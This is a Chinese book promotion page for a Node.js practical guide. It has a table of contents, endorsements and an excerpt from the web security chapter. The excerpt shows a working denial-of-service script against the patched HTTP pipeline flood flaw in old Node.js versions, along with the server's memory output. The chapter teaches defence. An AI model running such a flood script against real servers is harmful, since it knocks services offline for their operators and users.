《Node.js实战(双色)》作者来自CNode社区点击率颇高、粉丝数万的《一起学node.js》。
《Node.js实战(双色)》没有成为教条式的入门级别,而是跳出Node.js入门的圈子,真正进入Node.js实战层次。
《Node.js实战(双色)》内容架构由简入难,Node.js入门级读者也可从中得到灵感。
《Node.js实战(双色)》内容用6个字可以总结:让人大呼过瘾!
《Node.js 实战(双色)》通过8 个实例讲解了Node.js 在实战开发中的应用,涉及Node.js 常用框架、非关系型数据库、关系型数据库、运维命令和网络安全等内容。章节按照从简单到复杂的难度排序,每一章都通过一个有趣的实例指引读者从头开发一个应用,让读者可以循序渐进地学习Node.js,以及在实战开发中的编程技巧。
《Node.js 实战(双色)》面向的是有一定Node.js 基础的读者,建议读者把本书当作入门书和进阶书之间的过渡书籍来阅读。当然,《Node.js 实战(双色)》也适合那些有其他服务器编程语言基础,并且想尝试Node.js 新鲜技术的人阅读。
9.1 什么是Web安全
在互联网时代,数据安全与个人隐私受到了前所未有的挑战,我们作为网站开发者,必须让一个Web站点满足基本的安全三要素。
(1)保密性,要求保护数据内容不能泄露,加密是实现保密性的常用手段。
(2)完整性,要求用户获取的数据是完整不被篡改的,我们知道很多oAuth协议要求进行sign签名,就是保证双方数据的完整性。
(3)可用性,保证我们的Web站点是可被访问的,网站功能是正常运营的,常见的DoS(Denail of Service 拒绝服务)攻击就是破坏了可用性这一点。
9.1.1 安全的定义和意识
Web安全的定义根据攻击手段来分,我们把它分为如下两类。
(1)服务安全,确保网络设备的安全运行,提供有效的网络服务。
(2)数据安全,确保在网上传输数据的保密性、完整性和可用性。
我们之后要介绍的SQL注入、XSS攻击等都是属于数据安全的范畴,DoS、Slowlori攻击等都是属于服务安全范畴。
在黑客世界中,用帽子的颜色比喻黑客的"善恶"。精通安全技术、工作在反黑客领域的安全专家我们称之为白帽子,而黑帽子则是利用黑客技术谋取私利的犯罪群体。同样都是搞网络安全研究,黑、白帽子的职责完全不同,甚至可以说是对立的。对于黑帽子而言,他们只要找到系统的一个切入点就可以达到入侵破坏的目的;而白帽子必须将自己系统所有可能被突破的地方都设防,保证系统的安全运行。所以我们在设计架构的时候就应该有安全意识,时刻保持清醒的头脑,可能我们的Web站点100处都布防很好,只有另外一个点疏忽了,攻击者就会利用这个点进行突破,让我们另外100处的努力也白费。
同样,安全的运营也是非常重要的,我们为Web站点建立起坚固的壁垒,而运营人员随意地使用root账号,给核心服务器开通外网访问IP等一系列违规操作,会让我们的壁垒瞬间崩塌。
9.2 Node.js中的Web安全
Node.js作为一门新型的开发语言,很多开发者都会用它来快速搭建Web站点,期间随着版本号的更替也修复了不少漏洞。因为Node.js提供的网络接口较PHP更为底层,同时没有如apache、nginx等Web服务器的前端保护,所以Node.js应该更加关注安全方面的问题。
9.2.1 HTTP管道洪水漏洞
在Node.js版本0.8.26和0.10.21之前,都存在一个管道洪水的拒绝服务漏洞(pipeline flood DoS)。官网在发布这个漏洞修复代码之后,强烈建议在生产环境使用Node.js的版本升级到0.8.26和0.10.21;这是因为这个漏洞威力巨大,攻击者可以用很廉价的普通PC轻易地击溃一个正常运行的Node.js的HTTP服务器。
这个漏洞产生的原因很简单,主要是因为客户端不接收服务器端的响应,但客户端又拼命发送请求,造成Node.js的Stream流无法泄洪,主机内存耗尽而崩溃,官网给出的解释如下:
当在一个连接上的客户端有很多HTTP请求管道,并且客户端没有读取Node.js服务器响应的数据,那么Node.js的服务将可能被击溃。强烈建议任何在生产环境下的版本是0.8或0.10的HTTP服务器都尽快升级。新版本Node.js修复了问题,当服务器端在等待stream流的drain事件时,socket和HTTP解析将会停止。在攻击脚本中,socket最终会超时,并被服务器端关闭连接。如果客户端并不是恶意攻击,只是发送大量的请求,但是响应非常缓慢,那么服务器端响应的速度也会相应降低。
现在让我们看一下这个漏洞造成的杀伤力吧,我们在一台4CPU,4GB内存的服务器上启动一个Node.js的HTTP服务,Node.js版本为0.10.7。服务器脚本如下:
var http = require('http');
var buf = new Buffer(1024*1024);//1mb buffer
buf.fill('h');
http.createServer(function (request, response) {
response.writeHead(200, {'Content-Type': 'text/plain'});
response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
console.log(process.memoryUsage());
},1000*60)
上述代码是我们启动了一个Node.js服务器、监听8124端口、响应1MB的字符h、同时每分钟打印Node.js内存使用情况,方便我们在执行攻击脚本之后查看服务器的内存使用情况。
在另外一台同样配置的服务器上启动如下攻击脚本:
var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n'
var i = 1000000;//10W次的发送
var client = net.connect({port: 8124, host:'192.168.28.4'},
function() { //'connect' listener
while(i--){
client.write(attack_str);
}
});
client.on('error', function(e) {
console.log('attack success');
});
我们的攻击脚本加载了net模块,然后定义了一个基于HTTP协议的GET方法的请求头,再然后我们使用tcp连接到Node.js服务器,循环发送10W次GET请求,但是不监听服务器端响应事件,也就无法对服务器端响应的stream流进行消费。在攻击脚本启动10分钟后,Web服务器打印的内存使用情况如下:
{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }
我们在服务器执行top命令,查看系统内存的使用情况如下:
Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers可以看到,我们的攻击脚本只用了一个socket连接就消耗掉大量服务器的内存,更可怕的是这部分内存不会自动释放,需要手动重启进程才能回收。攻击脚本执行之后Node.js进程占用内存比之前提高近200倍,如果有2~3个恶意攻击socket连接,服务器物理内存必然用完,然后开始频繁地交换,从而失去响应或者进程崩溃。
……
第1章 使用Express + MongoDB搭建多人博客
1.1 一个简单的博客
1.1.1 学习环境
1.1.2 快速开始
1.1.3 路由控制
1.1.4 模板引擎
1.1.5 搭建多人博客
1.1.6 使用数据库
1.1.7 注册和登录
1.1.8 发表文章
1.2 使用Markdown
1.3 增加文件上传功能
1.4 实现用户页面和文章页面
1.5 增加编辑与删除功能
1.6 实现留言功能
1.7 实现分页功能
1.8 增加存档页面
1.9 增加标签和标签页面
1.10 增加pv统计和留言统计
1.11 增加文章检索功能
1.12 增加友情链接
1.13 增加404页面
1.14 增加用户头像
1.15 增加转载功能和转载统计
1.16 增加日志功能
1.17 小结
第2章 使用Express+MongoDB搭建多人博客番外篇
2.1 番外篇之一——使用Passport
2.2 番外篇之二——部署到Heroku
2.3 番外篇之三——使用Mongoose
2.4 番外篇之四——使用Async
2.5 番外篇之五——使用KindEditor
2.6 番外篇之六——使用Handlebars
2.7 番外篇之七——使用Disqus
第3章 使用Redis搭建漂流瓶服务器
3.1 初识Redis
3.2 开始漂流瓶之旅
3.3 讨厌的海星
3.4 扔回海里
3.5 今天的瓶子已经用完啦
3.6 我的瓶子
3.7 女神,我们做朋友吧
3.8 部署
3.9 小结
3.10 参考文献
第4章 使用Meteor搭建微博网站
4.1 Meteor简介
4.2 Meteor的安装与使用
4.3 快速入门
4.3.1 测试一:客户端和服务器端执行同一段代码
4.3.2 测试二:响应式
4.3.3 测试三:insecure包
4.3.4 测试四:autopublish包
4.3.5 测试五:加载顺序
4.4 开始搭建微博网站
4.4.1 开发环境
4.4.2 学习目标
4.4.3 创建应
4.5 路由功能
4.6 用户注册
4.7 用户登录
4.8 发表微博
4.9 使用Markdown
4.10 部署
4.11 小结
4.12 参考文献
第5章 使用socket.io+Angular打造单页应用
5.1 最简单的聊天室
5.1.1 socket.io简介
5.1.2 Angular.js
5.1.3 开始新建TechNode目录
5.1.4 express.js服务器
5.1.5 安装Bootstrap和Angular.js
5.1.6 搭建聊天室
5.1.7 开始与好友聊天
5.2 让用户不再匿名
5.2.1 添加登录功能
5.2.2 用户登录与认证
5.2.3 socket.io验证
5.2.4 显示用户名和在线用户列表
5.2.5 我不喜欢你们
5.3 提供不同的房间
5.3.1 设计房间列表页面
5.3.2 添加房间API
5.3.3 实现room的controller
5.3.4 提供socket的房间API.
5.3.5 登录后跳转至房间列表
5.3.6 房间列表
5.3.7 进入单独的房间
5.3.8 让消息只在房间内传递.
5.3.9 用户离开房间
5.3.10 坏代码的味道
5.4 架构优化与发布
5.4.1 项目结构
5.4.2 分拆http和socket服务
5.4.3 客户端缓存
5.4.4 使用Grunt打包TechNode
5.4.5 发布TechNode
5.4.6 聊天室之旅结束啦
第6章 网络爬虫与数据操作
6.1 学习目标
6.2 网络爬虫
6.2.1 相关模块介绍
6.2.2 创建网络爬虫前的准备工作
6.2.3 获取文章分类列表
6.2.4 获取分类下的文章列表
6.2.5 获取文章的内容
6.2.6 获取文章分类下的所有文章
6.2.7 将结果保存到数据库中
6.2.8 保存文章分类
6.2.9 一个完整的爬虫实例
6.3 显示数据库中的数据
6.3.1 相关模块介绍
6.3.2 创建Web服务器前的工作
6.3.3 查询数据
6.3.4 博客首页
6.3.5 文章页面
6.4 自动更新文章数据
6.4.1 相关模块介绍
6.4.2 准备工作
6.4.3 定时执行更新任务
6.5 让程序更稳定地运行
6.5.1 处理uncaughtException事件
6.5.2 使用pm2来启动程序
6.5.3 安装pm2
6.5.4 启动和停止程序
6.6 处理 GBK 编码的网页
6.7 小结
6.8 参考文献
第7章 Node.js的进程与线程
7.1 Node.js和PHP
7.2 单线程的Node.js
7.3 单线程的优缺点
7.4 多线程
7.5 多进程
7.6 多进程和多线程使用的比较
7.7 总结
7.8 参考文献
第8章 发布一个Package
8.1 Node.js包解决的问题
8.2 创建package.json
8.3 设计package的文件目录
8.4 纯js包开发
8.5 安装node-gyp
8.6 创建binding.byp
8.7 C++插件包开发
8.8 包的测试
8.9 跨平台测试
8.10 readme.md
8.11 发布到GitHub
8.12 发布到npm
8.13 状态图标
8.14 总结
8.15 参考文献
第9章 Web安全实战
9.1 什么是Web安全
安全的定义和意识
9.2 Node.js中的Web安全
HTTP管道洪水漏洞.
9.3 SQL注入
9.4 XSS脚本攻击
9.5 CSRF请求伪造
9.6 应用层DoS拒绝服务
9.7 文件路径漏洞
9.8 加密安全
9.9 小结
9.10 参考文献
★本书中的实例涵盖了Node.js开发的各个部分,大到项目架构创建、小到每一次I/O操作,在本书中都有详细的介绍。请阅读本书,将你的想法运行在你的Node进程上。
——袁锋(@Python发烧友) 淘宝网数据产品部资深Web开发工程师,CNode.org社区核心成员
★如果你想用Node.js快速开发一个个人博客;如果你想用Node.js做一个爬虫程序,定时获取你想要的东西;如果你想用Node.js打造实时Web应用;如果你想让Node.js支持多线程;如果你想在npm上发布一个自己的package;如果你想让自己的Node.js站点更加安全;那么,你就需要拥有这本《Node.js实战》,本书对这些内容有详尽的实例供您参考。
——田永强(@朴灵) 就职于阿里巴巴数据平台,Node.js布道师,《深入浅出Node.js》作者
★无论是国家还是我们个人,都必须关注安全问题;同样,互联网安全也与每个互联网开发人员休戚相关。这本书介绍了使用Node.js开发Web应用可能面临的安全问题,以及抵御一些常规恶意攻击的各种防御措施,并搭建了一个安全的Web站点,其内容让人印象深刻。
——谢骋超(@圈圈套圈圈) 网易Pomelo开源分布式网络游戏框架总负责人